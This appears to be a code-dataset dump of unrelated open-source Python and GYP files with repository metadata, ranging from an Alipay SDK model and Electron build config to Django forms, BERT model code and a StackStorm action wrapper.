articuly/alipay-sdk-python-all
0259cd28eca0f219b97dac7f41c2458441d5e7a6
[ "Apache-2.0" ]
null
null
null
alipay/aop/api/domain/AlipayUserAntpaasAddtesttagModifyModel.py
articuly/alipay-sdk-python-all
0259cd28eca0f219b97dac7f41c2458441d5e7a6
[ "Apache-2.0" ]
null
null
null
alipay/aop/api/domain/AlipayUserAntpaasAddtesttagModifyModel.py
articuly/alipay-sdk-python-all
0259cd28eca0f219b97dac7f41c2458441d5e7a6
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import simplejson as json from alipay.aop.api.constant.ParamConstants import * class AlipayUserAntpaasAddtesttagModifyModel(object): def __init__(self): self._account_no = None @property def account_no(self): return self._account_no @ac...
23.097561
71
0.615628
795ae8b7efc092a864a8ec12ba30bdf632f12c26
6,596
py
Python
raw_voltage_dev/gen_snr_actual_5min.py
bbrzycki/setigen_development
37e2c83e70ec8b693be08ecc3957a9a735b2ce5a
[ "MIT" ]
null
null
null
raw_voltage_dev/gen_snr_actual_5min.py
bbrzycki/setigen_development
37e2c83e70ec8b693be08ecc3957a9a735b2ce5a
[ "MIT" ]
null
null
null
raw_voltage_dev/gen_snr_actual_5min.py
bbrzycki/setigen_development
37e2c83e70ec8b693be08ecc3957a9a735b2ce5a
[ "MIT" ]
null
null
null
import numpy as np import blimpy as bl import pandas as pd from astropy import units as u try: import cupy as xp except ImportError: import numpy as xp import sys, os, glob, errno import csv import json import h5py import time from astropy.stats import sigma_clip from scipy.signal import butter, lfilte...
34.354167
124
0.549727
795ae97e9f0c61b67515bd6d01742c217f18d68a
16,969
gyp
Python
atom.gyp
sencha/electron
71598e15bf0ca2fd8de338d864cc37776608c6c2
[ "MIT" ]
1
2016-11-07T16:43:43.000Z
2016-11-07T16:43:43.000Z
atom.gyp
sencha/electron
71598e15bf0ca2fd8de338d864cc37776608c6c2
[ "MIT" ]
null
null
null
atom.gyp
sencha/electron
71598e15bf0ca2fd8de338d864cc37776608c6c2
[ "MIT" ]
2
2015-07-18T09:31:03.000Z
2019-12-24T09:55:03.000Z
{ 'variables': { 'project_name%': 'electron', 'product_name%': 'Electron', 'company_name%': 'GitHub, Inc', 'company_abbr%': 'github', 'version%': '0.27.3', 'atom_source_root': '<!(["python", "tools/atom_source_root.py"])', }, 'includes': [ 'filenames.gypi', 'vendor/native_mate/nat...
33.207436
115
0.45813
795aea1c587f002b64fb153a12fcd6d72b59591f
5,202
py
Python
ctapipe/core/component.py
Pluto9th/ctapipe
8c4faa674a1949210cbda8cb9e2413dd6362afea
[ "BSD-3-Clause" ]
null
null
null
ctapipe/core/component.py
Pluto9th/ctapipe
8c4faa674a1949210cbda8cb9e2413dd6362afea
[ "BSD-3-Clause" ]
null
null
null
ctapipe/core/component.py
Pluto9th/ctapipe
8c4faa674a1949210cbda8cb9e2413dd6362afea
[ "BSD-3-Clause" ]
null
null
null
""" Class to handle configuration for algorithms """ from abc import ABCMeta from logging import getLogger from inspect import isabstract from traitlets.config import Configurable from traitlets import TraitError from ctapipe.core.plugins import detect_and_import_io_plugins def non_abstract_children(base): """ ...
34.223684
83
0.629566
795aec7d72bb2453d7dfdf2f1f588fb1376e239c
1,050
py
Python
kafka_producer.py
gopinathankm/End-to-End-Real-Time-Predictive-Model-model
657e18a5fc09b1d054d193a1da0e2934bd18fa0e
[ "MIT" ]
null
null
null
kafka_producer.py
gopinathankm/End-to-End-Real-Time-Predictive-Model-model
657e18a5fc09b1d054d193a1da0e2934bd18fa0e
[ "MIT" ]
1
2019-01-28T13:40:56.000Z
2019-01-28T13:40:56.000Z
kafka_producer.py
gopinathankm/End-to-End-Real-Time-Predictive-Model-model
657e18a5fc09b1d054d193a1da0e2934bd18fa0e
[ "MIT" ]
null
null
null
import random import time from kafka import KafkaProducer from kafka.errors import KafkaError producer = KafkaProducer(bootstrap_servers='localhost:9092') topic = "power" for i in range(1000): AT = "19.651231" V = "54.305804" AP = "1013.259078" RH = "73.308978" # AT V ...
27.631579
129
0.539048
795aecdfcea614d789c5bc1ff0e29ac8c8f242b3
1,552
py
Python
Documentprocessing-project/query.py
FlashYoshi/UGentProjects
5561ce3bb73d5bc5bf31bcda2be7e038514c7072
[ "MIT" ]
null
null
null
Documentprocessing-project/query.py
FlashYoshi/UGentProjects
5561ce3bb73d5bc5bf31bcda2be7e038514c7072
[ "MIT" ]
null
null
null
Documentprocessing-project/query.py
FlashYoshi/UGentProjects
5561ce3bb73d5bc5bf31bcda2be7e038514c7072
[ "MIT" ]
1
2019-07-18T11:23:49.000Z
2019-07-18T11:23:49.000Z
import pagerank from copy import deepcopy def query(dictionary, text, pagerank, terms, indices): incidence = [] for i in range(len(terms)): term = terms[i].lower() incidence.append([]) # Loop over the anchors for anchor in dictionary: if term in anchor.lower().split...
32.333333
65
0.576031
795aee0789d0870aa0190388a53c4d4f112a3deb
343
py
Python
Src/Clova/vendor/tkinter/simpledialog.py
NishiYusuke/Line-boot-award
d77f26b9109f3cba45be5906bcb6c9314974cd92
[ "MIT" ]
null
null
null
Src/Clova/vendor/tkinter/simpledialog.py
NishiYusuke/Line-boot-award
d77f26b9109f3cba45be5906bcb6c9314974cd92
[ "MIT" ]
null
null
null
Src/Clova/vendor/tkinter/simpledialog.py
NishiYusuke/Line-boot-award
d77f26b9109f3cba45be5906bcb6c9314974cd92
[ "MIT" ]
null
null
null
from __future__ import absolute_import from future.utils import PY3 if PY3: from tkinter.simpledialog import * else: try: from SimpleDialog import * except ImportError: raise ImportError('The SimpleDialog module is missing. Does your Py2 ' 'installation...
24.5
79
0.64723
795aee68e75c117305753eaefee072b83d35e7d7
991
py
Python
chat/migrations/0001_initial.py
kartik1718/Django_telegram
ee05222a1e709ab9aad8ad3cbe19eaa531c8ed65
[ "MIT" ]
null
null
null
chat/migrations/0001_initial.py
kartik1718/Django_telegram
ee05222a1e709ab9aad8ad3cbe19eaa531c8ed65
[ "MIT" ]
null
null
null
chat/migrations/0001_initial.py
kartik1718/Django_telegram
ee05222a1e709ab9aad8ad3cbe19eaa531c8ed65
[ "MIT" ]
null
null
null
# Generated by Django 3.2.5 on 2021-07-30 05:46 import django.contrib.auth.models from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0012_alter_user_first_name_max_length'), ] operations...
29.147059
184
0.569122
795aef5e54c6aae3899a01a8379b2b94656e5b0e
2,481
py
Python
Anime Quiz/ui.py
Samarth-Khatri/Hacktoberfest-2022
8111665e074528634e124d93e277ac4a45e94bc7
[ "MIT" ]
13
2021-10-03T13:10:13.000Z
2022-01-16T15:17:34.000Z
Anime Quiz/ui.py
Samarth-Khatri/Hacktoberfest-2022
8111665e074528634e124d93e277ac4a45e94bc7
[ "MIT" ]
18
2021-10-03T12:44:40.000Z
2022-03-12T01:02:33.000Z
Anime Quiz/ui.py
Samarth-Khatri/Hacktoberfest-2022
8111665e074528634e124d93e277ac4a45e94bc7
[ "MIT" ]
46
2021-10-03T12:35:37.000Z
2021-12-20T04:02:03.000Z
from tkinter import * from quiz_brain import QuizBrain THEME_COLOR = "#375362" class QuizzGui: def __init__(self,quiz_brain:QuizBrain): self.window = Tk() self.quiz = quiz_brain self.window.title("quizz") self.window.config(bg = THEME_COLOR,padx = 20,pady = 20) self.scorelab...
38.765625
139
0.648932
795af16a67cc8eb354a1c585cd8fa7110524f8e2
3,195
py
Python
tests/data_context/test_data_context_store_configs.py
cicdw/great_expectations
0aecddf7da591df19389c8abadbb1700a51b8739
[ "Apache-2.0" ]
2
2020-05-07T18:16:17.000Z
2020-05-07T18:16:21.000Z
tests/data_context/test_data_context_store_configs.py
cicdw/great_expectations
0aecddf7da591df19389c8abadbb1700a51b8739
[ "Apache-2.0" ]
1
2020-03-26T12:34:24.000Z
2020-03-26T12:34:24.000Z
tests/data_context/test_data_context_store_configs.py
cicdw/great_expectations
0aecddf7da591df19389c8abadbb1700a51b8739
[ "Apache-2.0" ]
null
null
null
import pytest import os from ruamel.yaml import YAML yaml = YAML() yaml.default_flow_style = False import great_expectations as ge @pytest.fixture(scope="function") def totally_empty_data_context(tmp_path_factory): # NOTE: This sets up a DataContext with a real path and a config saved to that path. # Now tha...
33.989362
119
0.663537
795af1d85edb54adc25d7759660b8409f733cd86
1,065
py
Python
src/rpcs/services/ws_rpc_server.py
Qinnnnnn/Watero_DataCenter
fc56dc13fa9a71817de9243b494dc01ab1d193bd
[ "MIT" ]
null
null
null
src/rpcs/services/ws_rpc_server.py
Qinnnnnn/Watero_DataCenter
fc56dc13fa9a71817de9243b494dc01ab1d193bd
[ "MIT" ]
null
null
null
src/rpcs/services/ws_rpc_server.py
Qinnnnnn/Watero_DataCenter
fc56dc13fa9a71817de9243b494dc01ab1d193bd
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- """ File : ws_rpc_server.py Author : Zerui Qin CreateDate : 2018-12-28 10:00:00 LastModifiedDate : 2018-12-28 10:00:00 Note : RPC服务端测试脚本 """ import time from concurrent import futures import grpc from src.rpcs.protos import data_pipe_pb2 from src.rpcs.protos import data_pip...
22.1875
78
0.702347
795af224a79a0c33f0c59b2857ae15d7ee9518b0
1,402
py
Python
Externals/DeepLeague/Data Scripts/save_frames.py
yedhrab/LolRehberi
e3d0e24a63fbbdc7cba0fd6016364fb2fd105c72
[ "Apache-2.0" ]
2
2018-01-19T23:34:43.000Z
2018-05-07T09:52:53.000Z
Externals/DeepLeague/Data Scripts/save_frames.py
yedhrab/LolRehberi
e3d0e24a63fbbdc7cba0fd6016364fb2fd105c72
[ "Apache-2.0" ]
null
null
null
Externals/DeepLeague/Data Scripts/save_frames.py
yedhrab/LolRehberi
e3d0e24a63fbbdc7cba0fd6016364fb2fd105c72
[ "Apache-2.0" ]
2
2018-03-02T06:45:01.000Z
2019-03-13T11:59:13.000Z
import cv2 def get_frames(test_mp4_vod_path, save_path): video = cv2.VideoCapture(test_mp4_vod_path) print("Opened ", test_mp4_vod_path) print("Processing MP4 frame by frame") # forward over to the frames you want to start reading from. # manually set this, fps * time in seconds you wanna start fr...
36.894737
130
0.624822
795af2dfa58324fdf84f88ddb17ff746b3888716
20,428
py
Python
dataviva/attrs/models.py
Btaras/dataviva
b850ef66a2db81195709e8a8b08b778de43bf354
[ "MIT" ]
null
null
null
dataviva/attrs/models.py
Btaras/dataviva
b850ef66a2db81195709e8a8b08b778de43bf354
[ "MIT" ]
null
null
null
dataviva/attrs/models.py
Btaras/dataviva
b850ef66a2db81195709e8a8b08b778de43bf354
[ "MIT" ]
null
null
null
from dataviva import db, __latest_year__ from dataviva.utils import AutoSerialize, exist_or_404, title_case from sqlalchemy import func, Float from sqlalchemy.sql.expression import cast from decimal import * from flask import g ''' A Mixin class for retrieving quick stats about a particular attribute''' class Stats(o...
43.743041
159
0.561044
795af2e34e7d98ae61c1386f18c65ddb15a4ae38
60
py
Python
creten/orders/TradeCloseType.py
nardew/Creten
15ddb0b52e6f2afec2c79b3c731fccb34a2c63d6
[ "MIT" ]
9
2019-12-17T10:42:40.000Z
2021-12-02T23:07:05.000Z
creten/orders/TradeCloseType.py
nardew/Creten
15ddb0b52e6f2afec2c79b3c731fccb34a2c63d6
[ "MIT" ]
null
null
null
creten/orders/TradeCloseType.py
nardew/Creten
15ddb0b52e6f2afec2c79b3c731fccb34a2c63d6
[ "MIT" ]
6
2019-03-04T15:01:10.000Z
2022-01-12T23:22:55.000Z
class TradeCloseType: ORDER_DRIVEN = 1 QUANTITY_DRIVEN = 2
20
21
0.8
795af3e60ab8ebc185a973681d7192a653d6c427
16,596
py
Python
webapp/apps/account/forms.py
zhiwehu/IBookmark
b416f14f2b7ede4f38a00f386c2cdac01cbd740f
[ "Apache-2.0" ]
1
2020-04-01T11:11:37.000Z
2020-04-01T11:11:37.000Z
webapp/apps/account/forms.py
zhiwehu/IBookmark
b416f14f2b7ede4f38a00f386c2cdac01cbd740f
[ "Apache-2.0" ]
null
null
null
webapp/apps/account/forms.py
zhiwehu/IBookmark
b416f14f2b7ede4f38a00f386c2cdac01cbd740f
[ "Apache-2.0" ]
2
2019-10-04T06:00:32.000Z
2021-02-03T08:08:27.000Z
import re from django import forms from django.conf import settings from django.core.mail import send_mail from django.template.loader import render_to_string from django.utils.translation import ugettext_lazy as _, ugettext from django.utils.http import int_to_base36 from django.contrib import messages from django.c...
37.044643
148
0.62509
795af4d864995ffc8fae39868fb4eb2dfaeab3d0
332
py
Python
colcon_export_command/xml/models/__init__.py
maciejmatuszak/colcon-export-command
a7747996cbff25d8611306a9c1987cea3966271e
[ "Apache-2.0" ]
null
null
null
colcon_export_command/xml/models/__init__.py
maciejmatuszak/colcon-export-command
a7747996cbff25d8611306a9c1987cea3966271e
[ "Apache-2.0" ]
null
null
null
colcon_export_command/xml/models/__init__.py
maciejmatuszak/colcon-export-command
a7747996cbff25d8611306a9c1987cea3966271e
[ "Apache-2.0" ]
null
null
null
from colcon_export_command.xml.models.project import ( AdditionalGenerationEnvironment, Component, Configuration, Configurations, Env, Envs, Project, ) __all__ = [ "AdditionalGenerationEnvironment", "Component", "Configuration", "Configurations", "Env", "Envs", "...
16.6
54
0.650602
795af779c8632aff242bcdccdb44123e7a86ed56
14,133
py
Python
tests/test_minimalism.py
georgesdimitrov/arvo
86d33afc3f45d1f2e6f22aded8c2e2b12bc5db7d
[ "MIT" ]
11
2021-02-24T20:05:24.000Z
2022-03-13T14:27:04.000Z
tests/test_minimalism.py
georgesdimitrov/arvo
86d33afc3f45d1f2e6f22aded8c2e2b12bc5db7d
[ "MIT" ]
null
null
null
tests/test_minimalism.py
georgesdimitrov/arvo
86d33afc3f45d1f2e6f22aded8c2e2b12bc5db7d
[ "MIT" ]
3
2021-09-24T02:26:16.000Z
2022-03-22T12:34:36.000Z
import pytest from music21 import converter from arvo import minimalism from arvo import sequences @pytest.fixture def example_stream(): s = converter.parse("tinyNotation: C D E F G A B c d e f g") return s # Additive Process Tests def test_additive_process(example_stream): result = minimalism.additiv...
25.93211
88
0.51355
795af7835d20a0e7ac3e72b1c399b52b9f7a1cf2
10,122
py
Python
google/ads/googleads/v7/googleads-py/google/ads/googleads/v7/services/services/life_event_service/transports/grpc.py
googleapis/googleapis-gen
d84824c78563d59b0e58d5664bfaa430e9ad7e7a
[ "Apache-2.0" ]
7
2021-02-21T10:39:41.000Z
2021-12-07T07:31:28.000Z
google/ads/googleads/v7/googleads-py/google/ads/googleads/v7/services/services/life_event_service/transports/grpc.py
googleapis/googleapis-gen
d84824c78563d59b0e58d5664bfaa430e9ad7e7a
[ "Apache-2.0" ]
6
2021-02-02T23:46:11.000Z
2021-11-15T01:46:02.000Z
google/ads/googleads/v7/googleads-py/google/ads/googleads/v7/services/services/life_event_service/transports/grpc.py
googleapis/googleapis-gen
d84824c78563d59b0e58d5664bfaa430e9ad7e7a
[ "Apache-2.0" ]
4
2021-01-28T23:25:45.000Z
2021-08-30T01:55:16.000Z
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
43.44206
112
0.621814
795af80a5377c419f64b04f93bfab91e618a5afc
1,177
py
Python
swat/tests/test_keyword.py
bosout/python-swat
36c1a1e301fb103ae90d11a373fb3f065be321fd
[ "Apache-2.0" ]
133
2016-09-30T18:53:10.000Z
2022-03-25T20:54:06.000Z
swat/tests/test_keyword.py
bosout/python-swat
36c1a1e301fb103ae90d11a373fb3f065be321fd
[ "Apache-2.0" ]
113
2017-01-16T21:01:23.000Z
2022-03-29T11:02:21.000Z
swat/tests/test_keyword.py
bosout/python-swat
36c1a1e301fb103ae90d11a373fb3f065be321fd
[ "Apache-2.0" ]
65
2016-09-29T15:23:49.000Z
2022-03-04T12:45:43.000Z
#!/usr/bin/env python # encoding: utf-8 # # Copyright SAS Institute # # Licensed under the Apache License, Version 2.0 (the License); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
30.179487
75
0.715378
795af94a0a4d10357b715e149e9240a9898718c4
76,107
py
Python
src/transformers/modeling_bert.py
h2rlet/transformers
6f8a01a2ad709aca8e385108e7f946577c1df6bc
[ "Apache-2.0" ]
null
null
null
src/transformers/modeling_bert.py
h2rlet/transformers
6f8a01a2ad709aca8e385108e7f946577c1df6bc
[ "Apache-2.0" ]
null
null
null
src/transformers/modeling_bert.py
h2rlet/transformers
6f8a01a2ad709aca8e385108e7f946577c1df6bc
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team. # Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a cop...
45.792419
168
0.667915
795afad6321eca85934937015fb6489c33779863
156
py
Python
scripts/analysis/dependencies/fq_names_types.py
JetBrains-Research/Lupa
c105487621564c60cae17395bf32eb40868ceb89
[ "Apache-2.0" ]
16
2022-01-11T00:32:20.000Z
2022-03-25T21:40:52.000Z
scripts/analysis/dependencies/fq_names_types.py
JetBrains-Research/Lupa
c105487621564c60cae17395bf32eb40868ceb89
[ "Apache-2.0" ]
5
2022-01-11T09:36:52.000Z
2022-03-14T10:24:31.000Z
scripts/analysis/dependencies/fq_names_types.py
JetBrains-Research/Lupa
c105487621564c60cae17395bf32eb40868ceb89
[ "Apache-2.0" ]
2
2022-03-07T20:08:56.000Z
2022-03-25T21:40:56.000Z
from typing import Dict, List, Union FqNamesDict = Dict[str, Union['FqNamesDict', int]] FqNamesStats = Dict[str, int] FqNamesGroups = Dict[str, List[str]]
26
50
0.737179
795afd29d15badcf802a70c2760f1fd46133c72e
2,171
py
Python
ot2_protocol_generator/protocol_writer.py
olichen/liquidhandler
6470e96432f885e7faac7afc4fd34b88feb9cae1
[ "MIT" ]
null
null
null
ot2_protocol_generator/protocol_writer.py
olichen/liquidhandler
6470e96432f885e7faac7afc4fd34b88feb9cae1
[ "MIT" ]
null
null
null
ot2_protocol_generator/protocol_writer.py
olichen/liquidhandler
6470e96432f885e7faac7afc4fd34b88feb9cae1
[ "MIT" ]
null
null
null
from .helpers import format_helper from .helpers import csv_helper # Class that handles receiving/validating data and outputting the protocol class ProtocolWriter: def __init__(self): self._pipette_data = None self._plate_data = [] self._plate_csv = [] self._fh = format_helper.Form...
38.087719
77
0.637955
795afdb328f251bd5423e25313fe8f3b2318c9c5
5,646
py
Python
Birnn_Transformer/ncc/eval/summarization/transformer_generator.py
code-backdoor/code-backdoor
1eeb3d79aa8a54c8f08e8d0156b569de5edd974e
[ "MIT" ]
71
2020-12-04T02:18:13.000Z
2022-03-30T15:19:50.000Z
Birnn_Transformer/ncc/eval/summarization/transformer_generator.py
code-backdoor/code-backdoor
1eeb3d79aa8a54c8f08e8d0156b569de5edd974e
[ "MIT" ]
4
2021-03-10T17:48:50.000Z
2022-03-13T10:42:22.000Z
Birnn_Transformer/ncc/eval/summarization/transformer_generator.py
code-backdoor/code-backdoor
1eeb3d79aa8a54c8f08e8d0156b569de5edd974e
[ "MIT" ]
11
2020-12-09T12:17:44.000Z
2022-03-30T09:02:13.000Z
# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import torch from ncc.utils import utils import torch.nn.functional as F from torch import Tensor from typing import Optional, List, Dict cl...
40.042553
118
0.613355
795afee0ea7eb79a7f70753fe3da8eea5d3a87cc
5,510
py
Python
femio/formats/ucd/write_ucd.py
yellowshippo/femio
dde277136a8a1b2513afa85ae2fb8707858aa04a
[ "Apache-2.0" ]
1
2021-05-25T16:29:09.000Z
2021-05-25T16:29:09.000Z
femio/formats/ucd/write_ucd.py
yellowshippo/femio
dde277136a8a1b2513afa85ae2fb8707858aa04a
[ "Apache-2.0" ]
null
null
null
femio/formats/ucd/write_ucd.py
yellowshippo/femio
dde277136a8a1b2513afa85ae2fb8707858aa04a
[ "Apache-2.0" ]
null
null
null
import numpy as np import pandas as pd class UCDWriter(): def __init__(self, fem_data): self.fem_data = fem_data def write(self, file_name=None, *, overwrite=False): """Write FEM data in inp format. Args: fem_data: FEMData object to be output. file_name: Fil...
38.531469
77
0.53049
795aff74465344c510292aec5f6ff64d6ea91df4
9,608
py
Python
tempest/tests/lib/services/compute/test_flavors_client.py
paulaCrismaru/lis-tempest
4f142db3967971ee42c4fcff01be363bbdc4bc54
[ "Apache-2.0" ]
3
2016-07-15T12:27:23.000Z
2021-04-23T04:41:10.000Z
tempest/tests/lib/services/compute/test_flavors_client.py
LIS/lis-tempest
8e6403b2d6de81c5d18ed867b4977385c8278b75
[ "Apache-2.0" ]
null
null
null
tempest/tests/lib/services/compute/test_flavors_client.py
LIS/lis-tempest
8e6403b2d6de81c5d18ed867b4977385c8278b75
[ "Apache-2.0" ]
12
2016-07-14T18:13:05.000Z
2017-07-08T18:45:42.000Z
# Copyright 2015 IBM Corp. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed t...
37.53125
79
0.676311
795b004abe89692d5d053ce87ef7e19cab0ff783
1,121
py
Python
tests/test_gendottravis.py
andrewrothstein/ansible-galaxy-local-deps
93711bdfb222bf23ea705edc83d4791b0547f681
[ "MIT" ]
2
2018-02-13T06:55:55.000Z
2019-03-25T01:58:33.000Z
tests/test_gendottravis.py
andrewrothstein/ansible-galaxy-local-deps
93711bdfb222bf23ea705edc83d4791b0547f681
[ "MIT" ]
4
2017-06-29T14:07:16.000Z
2019-11-13T13:51:21.000Z
tests/test_gendottravis.py
andrewrothstein/ansible-galaxy-local-deps
93711bdfb222bf23ea705edc83d4791b0547f681
[ "MIT" ]
3
2017-05-24T18:06:29.000Z
2019-11-11T20:20:43.000Z
from unittest import TestCase from yaml import load, dump try: from yaml import CLoader as Loader, CDumper as Dumper except ImportError: from yaml import Loader, Dumper from ansiblegalaxylocaldeps.gendottravis import extract_osl_from_dottravis, from_dcb_os_yml class TestGenDotTravis(TestCase): def test_ex...
33.969697
91
0.647636
795b00cf7c230f716b623ca258fc90bdf658a4bd
6,098
py
Python
qa/rpc-tests/proxy_test.py
evsyutkin/core
aae8910a616292ea565cd847fbdca22d8d50ff48
[ "MIT" ]
null
null
null
qa/rpc-tests/proxy_test.py
evsyutkin/core
aae8910a616292ea565cd847fbdca22d8d50ff48
[ "MIT" ]
null
null
null
qa/rpc-tests/proxy_test.py
evsyutkin/core
aae8910a616292ea565cd847fbdca22d8d50ff48
[ "MIT" ]
null
null
null
#!/usr/bin/env python2 # Copyright (c) 2015 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. import socket import traceback, sys from binascii import hexlify import time, os from socks5 import Socks5Conf...
41.767123
145
0.653001
795b0114a85e3b0f7eb9e06d3f29b6d98c871c49
14,688
py
Python
contrib/runners/python_runner/python_runner/python_action_wrapper.py
momokuri-3/st2
0a7038723d701b433d7079b843cc76d4bf1ae8c9
[ "Apache-2.0" ]
4,920
2015-01-01T15:12:17.000Z
2022-03-31T19:31:15.000Z
contrib/runners/python_runner/python_runner/python_action_wrapper.py
momokuri-3/st2
0a7038723d701b433d7079b843cc76d4bf1ae8c9
[ "Apache-2.0" ]
3,563
2015-01-05T19:02:19.000Z
2022-03-31T19:23:09.000Z
contrib/runners/python_runner/python_runner/python_action_wrapper.py
momokuri-3/st2
0a7038723d701b433d7079b843cc76d4bf1ae8c9
[ "Apache-2.0" ]
774
2015-01-01T20:41:24.000Z
2022-03-31T13:25:29.000Z
# Copyright 2020 The StackStorm Authors. # Copyright 2019 Extreme Networks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
37.090909
99
0.65802
795b027dbeba0fe77c3835759b3398722d015116
37,353
py
Python
TUI/TUIMenu/Permissions/PermsTableWdg.py
ApachePointObservatory/TUI
8f130368254161a2748167b7c8260cc24170c28c
[ "BSD-3-Clause" ]
1
2020-01-28T06:28:00.000Z
2020-01-28T06:28:00.000Z
TUI/TUIMenu/Permissions/PermsTableWdg.py
ApachePointObservatory/TUI
8f130368254161a2748167b7c8260cc24170c28c
[ "BSD-3-Clause" ]
1
2017-06-05T22:53:58.000Z
2017-06-05T22:53:58.000Z
TUI/TUIMenu/Permissions/PermsTableWdg.py
r-owen/TUI
8f130368254161a2748167b7c8260cc24170c28c
[ "BSD-3-Clause" ]
1
2020-01-28T06:28:02.000Z
2020-01-28T06:28:02.000Z
#!/usr/bin/env python """Specify what users from each program are allowed to do. Note: the interface visible to the user uses the terms "add" and "delete" because they are clear and succinct. However, the internal code use the perms terminology "register" and "unregister" because they work better in function calls whe...
35.472934
136
0.591465
795b02bb7ed00d69eb86ca68665bc6b47a207eb9
241
py
Python
utils/Md5Util.py
junnzhan/spark_learn
9a53c076a0aaba76d5ce4beacfd6cc7a9bb4faa7
[ "Apache-2.0" ]
null
null
null
utils/Md5Util.py
junnzhan/spark_learn
9a53c076a0aaba76d5ce4beacfd6cc7a9bb4faa7
[ "Apache-2.0" ]
null
null
null
utils/Md5Util.py
junnzhan/spark_learn
9a53c076a0aaba76d5ce4beacfd6cc7a9bb4faa7
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import hashlib class Md5Util(object): @staticmethod def getMd5(raw): return hashlib.md5(raw.encode()).hexdigest() if __name__ == '__main__': print(Md5Util.getMd5('jun'))
17.214286
52
0.639004
795b02bed7f185bee9b94d466b40a7bc7ea37c74
2,227
py
Python
google_compute_engine/distro/sles_11/utils.py
anilyigitfiliz/compute-image-packages
c1db6992039bdf2ccdcda2ce73adc6cbe8675601
[ "Apache-2.0" ]
null
null
null
google_compute_engine/distro/sles_11/utils.py
anilyigitfiliz/compute-image-packages
c1db6992039bdf2ccdcda2ce73adc6cbe8675601
[ "Apache-2.0" ]
null
null
null
google_compute_engine/distro/sles_11/utils.py
anilyigitfiliz/compute-image-packages
c1db6992039bdf2ccdcda2ce73adc6cbe8675601
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # Copyright 2018 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
36.508197
78
0.715761